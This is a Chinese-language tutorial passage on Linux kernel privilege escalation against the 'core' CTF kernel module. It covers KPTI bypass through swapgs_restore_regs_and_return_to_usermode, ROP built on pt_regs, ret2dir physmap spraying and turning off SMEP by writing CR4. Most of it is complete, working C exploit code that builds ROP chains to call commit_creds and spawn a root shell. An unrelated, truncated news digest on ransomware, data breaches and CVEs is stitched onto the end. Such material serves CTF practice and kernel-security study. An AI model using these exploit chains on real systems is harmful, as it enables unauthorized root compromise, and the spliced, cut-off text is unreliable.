then pop_rcx_ret    rop[it++] = mov_rdi_rax_call_rdx;    rop[it++] = commit_creds;        rop[it++] = swapgs_popfq_ret;    rop[it++] = 0;    rop[it++] = iretq;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } kernel rop with KPIT 将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。 #!/bin/sh qemu-system-x86_64 \  -m 256M \  -kernel ./bzImage \  -initrd ./core.cpio \  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \  -s \  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  -nographic \  -cpu kvm64,+smep,+smap KPTI： kernel page-table isolation，内核页表隔离，进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同，所以如果使用 ret2user或内核执行ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。 利用思路 比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。 .text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void) .text:FFFFFFFF81A008DA                 public swapgs_restore_regs_and_return_to_usermode .text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near .text:FFFFFFFF81A008DA                                         ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j .text:FFFFFFFF81A008DA                                         ; entry_SYSCALL_64_after_hwframe+5E↑j ... .text:FFFFFFFF81A008DA                 pop     r15 .text:FFFFFFFF81A008DC                 pop     r14 .text:FFFFFFFF81A008DE                 pop     r13 .text:FFFFFFFF81A008E0                 pop     r12 .text:FFFFFFFF81A008E2                 pop     rbp .text:FFFFFFFF81A008E3                 pop     rbx .text:FFFFFFFF81A008E4                 pop     r11 .text:FFFFFFFF81A008E6                 pop     r10 .text:FFFFFFFF81A008E8                 pop     r9 .text:FFFFFFFF81A008EA                 pop     r8 .text:FFFFFFFF81A008EC                 pop     rax .text:FFFFFFFF81A008ED                 pop     rcx .text:FFFFFFFF81A008EE                 pop     rdx .text:FFFFFFFF81A008EF                 pop     rsi /* * 我们再利用时直接跳到这里即可，不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。 */ .text:FFFFFFFF81A008F0                 mov     rdi, rsp ; jump this .text:FFFFFFFF81A008F3                 mov     rsp, gs:qword_5004 .text:FFFFFFFF81A008FC                 push   qword ptr [rdi+30h] .text:FFFFFFFF81A008FF                 push   qword ptr [rdi+28h] .text:FFFFFFFF81A00902                 push   qword ptr [rdi+20h] .text:FFFFFFFF81A00905                 push   qword ptr [rdi+18h] .text:FFFFFFFF81A00908                 push   qword ptr [rdi+10h] .text:FFFFFFFF81A0090B                 push   qword ptr [rdi] .text:FFFFFFFF81A0090D                 push    rax .text:FFFFFFFF81A0090E                 jmp     short loc_FFFFFFFF81A00953 [......] ;loc_FFFFFFFF81A00953 .text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953:                   ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j .text:FFFFFFFF81A00953                 pop     rax .text:FFFFFFFF81A00954                 pop     rdi .text:FFFFFFFF81A00955                 swapgs .text:FFFFFFFF81A00958                 jmp     native_iret .text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp [......] ;native_iret .text:FFFFFFFF81A00980                 test   [rsp+arg_18], 4 .text:FFFFFFFF81A00985                 jnz     short native_irq_return_ldt .text:FFFFFFFF81A00985 native_iret     endp [......] ;native_irq_return_ldt .text:FFFFFFFF81A00989                 push    rdi .text:FFFFFFFF81A0098A                 swapgs .text:FFFFFFFF81A0098D                 jmp     short loc_FFFFFFFF81A009A1 [......] ;loc_FFFFFFFF81A009A1 .text:FFFFFFFF81A009A1                 mov     rdi, gs:qword_F000 .text:FFFFFFFF81A009AA                 mov     [rdi], rax .text:FFFFFFFF81A009AD                 mov     rax, [rsp+8] .text:FFFFFFFF81A009B2                 mov     [rdi+8], rax .text:FFFFFFFF81A009B6                 mov     rax, [rsp+8+arg_0] .text:FFFFFFFF81A009BB                 mov     [rdi+10h], rax .text:FFFFFFFF81A009BF                 mov     rax, [rsp+8+arg_8] .text:FFFFFFFF81A009C4                 mov     [rdi+18h], rax .text:FFFFFFFF81A009C8                 mov     rax, [rsp+8+arg_18] .text:FFFFFFFF81A009CD                 mov     [rdi+28h], rax .text:FFFFFFFF81A009D1                 mov     rax, [rsp+8+arg_10] .text:FFFFFFFF81A009D6                 mov     [rdi+20h], rax .text:FFFFFFFF81A009DA                 and     eax, 0FFFF0000h .text:FFFFFFFF81A009DF                 or      rax, gs:qword_F008 .text:FFFFFFFF81A009E8                 push    rax .text:FFFFFFFF81A009E9                 jmp     short loc_FFFFFFFF81A00A2E [......] ;loc_FFFFFFFF81A00A2E .text:FFFFFFFF81A00A2E                 pop     rax .text:FFFFFFFF81A00A2F                 swapgs .text:FFFFFFFF81A00A32                 pop     rdi .text:FFFFFFFF81A00A33                 mov     rsp, rax .text:FFFFFFFF81A00A36                 pop     rax .text:FFFFFFFF81A00A37                 jmp     native_irq_return_iret [......] ;native_irq_return_iret .text:FFFFFFFF81A00987                 iretq .text:FFFFFFFF81A00987 native_irq_return_iret endp exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            swapgs_restore_regs_and_return_to_usermode += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    // 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr    *(size_t *) &buf[0x40] = canary;    size_t *rop = (size_t *) &buf[0x50], it = 0;    rop[it++] = pop_rdi_ret;    rop[it++] = 0;    rop[it++] = prepare_kernel_cred;    rop[it++] = pop_rdx_ret;    rop[it++] = pop_rcx_ret;    rop[it++] = mov_rdi_rax_call_rdx;    rop[it++] = commit_creds;    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;    rop[it++] = 0;    rop[it++] = 0;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } 利用 pt_regs 构造 rop qemu启动脚本 #!/bin/sh qemu-system-x86_64 \  -m 256M \  -kernel ./bzImage \  -initrd ./core.cpio \  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \  -s \  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  -nographic \  -cpu kvm64,+smep,+smap 查看entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将所有的寄存器压入内核栈上，形成一个 pt_regs结构体，该结构体实质上位于内核栈底，https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/ptrace.h#L44如下： struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */    unsigned long orig_rax; /* Return frame for iretq */    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss; /* top of stack page */ }; 内核栈只有一个页面的大小，而 pt_regs 结构体则固定位于内核栈栈底，当我们劫持内核结构体中的某个函数指针时（例如 seq_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。 而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到：只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP，在进入内核态前像寄存器写入一些值，看那些寄存器可以被保留，以便后续写入gadget。 KPTI pass：使用 seq_operations + pt_regs 结构体 seq_operations 的条目如下： struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 当我们打开一个 stat 文件时（如 /proc/self/stat）便会在内核空间中分配一个 seq_operations 结构体 当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 proc_read_iter 指针，然后调用 seq_operations->start 函数指针 利用思路 这次我们限制溢出只能覆盖返回地址，此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值，然后再 core_copy_func 函数的返回处下断点。 __asm__(        "mov r15, 0x1111111111111111;"        "mov r14, 0x2222222222222222;"        "mov r13, 0x3333333333333333;"        "mov r12, 0x4444444444444444;"        "mov rbp, 0x5555555555555555;"        "mov rbx, 0x6666666666666666;"        "mov r11, 0x7777777777777777;"        "mov r10, 0x8888888888888888;"        "mov r9, 0x9999999999999999;"        "mov r8, 0xaaaaaaaaaaaaaaaa;"        "mov rcx, 0xbbbbbbbbbbbbbbbb;"        "mov rax, 0x10;"        "mov rdx, 0xffffffffffff0050;"        "mov rsi, 0x6677889A;"        "mov rdi, core_fd;"        "syscall"       ); 数字没变的寄存器就是我们能够控制的，可以被我们用来写 gadget。 0b:0058│     0xffffc90000113f58 ◂— 0x1111111111111111 ; r15 0c:0060│     0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14 0d:0068│     0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13 0e:0070│     0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12 0f:0078│     0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp 10:0080│     0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp 11:0088│     0xffffc90000113f88 ◂— 0x207 12:0090│     0xffffc90000113f90 ◂— 0x8888888888888888 ;r10 13:0098│     0xffffc90000113f98 ◂— 0x9999999999999999 ;r9 14:00a0│     0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8 15:00a8│     0xffffc90000113fa8 ◂— 0xffffffffffffffda 16:00b0│     0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 17:00b8│     0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */ 18:00c0│     0xffffc90000113fc0 ◂— 0x6677889a 19:00c8│     0xffffc90000113fc8 ◂— 0x614d8e5400000004 1a:00d0│     0xffffc90000113fd0 ◂— 0x10 1b:00d8│     0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 1c:00e0│     0xffffc90000113fe0 ◂— 0x33 /* '3' */ 1d:00e8│     0xffffc90000113fe8 ◂— 0x207 1e:00f0│     0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0 1f:00f8│     0xffffc90000113ff8 ◂— 0x2b /* '+' */ 新版本内核对抗利用 pt_regs 进行攻击的办法 内核主线在 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eea2647e74cd7bd5d04861ce55fa502de165de14 中为系统调用栈添加了一个偏移值，这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值： diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c index 4efd39aacb9f2..7b2542b13ebd9 100644 --- a/arch/x86/entry/common.c +++ b/arch/x86/entry/common.c @@ -38,6 +38,7 @@ #ifdef CONFIG_X86_64 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs) { +   add_random_kstack_offset();     nr = syscall_enter_from_user_mode(regs, nr);     instrumentation_begin(); 当然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成利用，不过稳定性也大幅下降了。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t add_rsp_0xe8_ret = 0xffffffff816bb966; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            add_rsp_0xe8_ret += offset;            swapgs_restore_regs_and_return_to_usermode += offset + 8;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[64] = canary;    *(size_t *) &buf[80] = add_rsp_0xe8_ret;    core_write(buf, sizeof(buf));    __asm__(            "mov r15, pop_rdi_ret;"            "mov r14, init_cred;"            "mov r13, commit_creds;"            "mov r12, swapgs_restore_regs_and_return_to_usermode;"            "mov rax, 0x10;"            "mov rdx, 0xffffffffffff0058;"            "mov rsi, 0x6677889A;"            "mov rdi, core_fd;"            "syscall"           );    system("/bin/sh");    return 0; } 执行 add_rsp_0xc8_pop*4_ret 时栈布局，rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。 ret2dir 如果 ptregs 所在的内存被修改了导致可控内存变少，我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的https://elixir.bootlin.com/linux/v4.15.8/source/Documentation/x86/x86_64/mm.txt查看。 ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段，http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area，即内核的线性映射区。，这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。 但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限，因此我们很难再在用户空间直接布置 shellcode 进行利用，但我们仍能通过在用户空间布置 ROP 链的方式完成利用。 利用思路 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret 返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。 利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。 执行线性映射区的shellcode。 exp #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t add_rsp_0xe8_ret = 0xffffffff816bb966; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; size_t retn = 0xFFFFFFFF81003E15; size_t pop_rbp_ret = 0xFFFFFFFF812D71EF; size_t leave_ret = 0xFFFFFFFF81037384; const size_t try_hit = 0xffff880000000000+0x7000000; size_t user_cs, user_rflags, user_sp, user_ss; size_t page_size; int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;"   );    puts("[*]status has been saved."); } void get_shell() {    system("/bin/sh"); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            add_rsp_0xe8_ret += offset;            swapgs_restore_regs_and_return_to_usermode += offset;            pop_rbp_ret += offset;            leave_ret += offset;            retn += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } void physmap() {    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Error: open core");   }    page_size = sysconf(_SC_PAGESIZE);    printf("[*] page_size %llx", &page_size);    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    int idx = 0;    while (idx < (page_size / 8 - 0x30)) {        rop[idx++] = add_rsp_0xe8_ret;   }    for (; idx < (page_size / 8 - 0xb); idx++) {        rop[idx] = retn;   }    rop[idx++] = pop_rdi_ret;    rop[idx++] = init_cred;    rop[idx++] = commit_creds;    rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;    rop[idx++] = 0x0000000000000000;    rop[idx++] = 0x0000000000000000;    rop[idx++] = (size_t) get_shell;    rop[idx++] = user_cs;    rop[idx++] = user_rflags;    rop[idx++] = user_sp;    rop[idx++] = user_ss;    puts("[*] Spraying physmap...");    for (int i = 1; i < 15000; i++) {        size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);        memcpy(page, rop, page_size);   }    puts("[*] trigger physmap one_gadget..."); } int main() {    rebase();    save_status();    physmap();    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, 'a', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    *(size_t *) &buf[0x50] = add_rsp_0xe8_ret;    core_write(buf, sizeof(buf));    __asm__(        "mov r15, pop_rbp_ret;"        "mov r14, try_hit;"        "mov r13, leave_ret;"        "mov rax, 0x10;"        "mov rdx, 0xffffffffffff0058;"        "mov rsi, 0x6677889A;"        "mov rdi, core_fd;"        "syscall"   );    return 0; } 流程 （1）修改返回地址为线性映射区的地址，大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处，执行我们负责栈迁移的shell_code。 （2）将栈迁移到我们目标地址后，大量的slider gadget将栈不断抬升到get_root代码处，完成提权。 kernel rop + ret2user 利用思路 这种方法实际上是将前两种方法结合起来，同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4 原始值 & 0xFFFFF 得到）关闭 smep ， 然后 iret 到用户空间去执行提权代码。 例如，当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要 mov cr4, 0x1407e0 # 0x1407e0 = 101 0 0000 0011 1111 00000 即可关闭 smep 保护。 搜索一下从 vmlinux 中提取出的 gadget，很容易就能达到这个目的。 如何查看 CR4 寄存器的值？ gdb 无法查看 cr4 寄存器的值，可以通过kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。 exp 注意这里 smap 保护不能直接关闭，因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址，而是在 rop 中构造 trap frame 结构。 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0; void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0; void *init_cred = (void *) 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; size_t mov_cr4_rdi_ret = 0xffffffff81075014; size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void get_root() {    commit_creds(prepare_kernel_cred(0)); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds = (void *) ((size_t) commit_creds + offset);            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);            init_cred = (void *) ((size_t) init_cred + offset);            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, 'a', sizeof(buf));    *(size_t *) &buf[64] = canary;    size_t *rop = (size_t *) &buf[80], it = 0;    rop[it++] = pop_rdi_ret;    rop[it++] = 0x00000000000006f0;    rop[it++] = mov_cr4_rdi_ret;    rop[it++] = (size_t) get_root;    rop[it++] = swapgs_popfq_ret;    rop[it++] = 0;    rop[it++] = iretq;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; }

1、勒索组织利用Veeam软件漏洞攻击尼日利亚的关键基础设施 https://cert.gov.ng/advisories/ransomware-groups-targeting-critical-systems-in-nigeria 尼日利亚计算机应急响应中心（ngCERT）发布了紧急警报，警告勒索组织正在攻击尼日利亚的关键系统。攻击者利用Veeam Backup and Replication（VBR）软件中的一个高危漏洞（CVE-2023-27532）进行攻击，并且此次事件涉及Phobos勒索组织。漏洞CVE-2023-27532影响VBR 12及以下版本，允许攻击者未经授权访问敏感数据，包括存储在Veeam配置数据库中的加密和明文凭据。攻击者能 2、攻击者使用SambaSpy木马针对意大利用户进行攻击 https://securelist.com/sambaspy-rat-targets-italian-users/113851/ 研究人员发现了一起恶意软件活动，该活动专门针对意大利用户进行攻击，传播一种名为SambaSpy的新型远控木马。此次攻击活动专门设计为仅感染意大利用户，在攻击流程的多个阶段都会检查系统语言是否为意大利语，如果目标不符合该标准，恶意软件将停止执行。SambaSpy用Java编写，并使用Zelix KlassMaster保护器进行混淆，具备多种功能，包括：管理文件和进程、上传和下载文件、控制摄像头、记录按键和剪贴板活动、截屏、从流行浏览器（如Chrome、Edge和B 3、Ivanti CSA中的安全漏洞CVE-2024-8963正被积极利用 https://securityonline.info/critical-flaw-in-ivanti-csa-4-6-cve-2024-8963-actively-exploited-urgent-upgrade-required/ Ivanti披露其Ivanti Connect Secure Appliance（CSA）4.6中的一个安全漏洞。该漏洞被标识为CVE-2024-8963，CVSS评分为9.4，正在被积极利用，对使用已终止支持（EOL）版本的Ivanti CSA用户构成重大风险。CVE-2024-8963是一个路径遍历漏洞，允许远程、未经身份验证的攻击者未经授权访问Ivant 4、Star Health Insurance泄露3100万客户数据 https://cybersecuritynews.com/star-health-data-leak/ 印度最大的健康保险提供商Star Health & Allied Insurance最近经历了一次重大的数据泄露事件，导致超过3100万客户的敏感个人信息泄露。泄露的数据信息包括姓名、电话号码、地址、税务信息、身份证复印件、医疗诊断和测试结果。其中的小部分数据被免费提供，其他用户也可以批量购买数据，数据总量达到7.24TB。Star Health表示，8月13日有一名身份不明的人联系他们，声称可以访问其部分数据。该保险公司已将此事报告给网络犯罪部门和联邦网络安全机构CERT-In。 5、戴尔正对一起数据泄露事件进行调查 https://www.bleepingcomputer.com/news/security/dell-investigates-data-breach-claims-after-hacker-leaks-employee-info/ 戴尔正在调查一起数据泄露事件，此前一名攻击者声称泄露了超过10000名员工的数据。在一个黑客论坛的帖子中，名为“grep”的攻击者表示其窃取的数据包括员工的唯一标识符、戴尔和合作伙伴员工的全名、员工状态（是否在职）以及内部识别字符串。戴尔称其安全团队正在针对此次事件进行调查。 6、药品分销商Cencora支付高达7500万美元的赎金 https://securityonline.info/cencoras-75-million-ransom-a-new-high-in-cyber-extortion/ 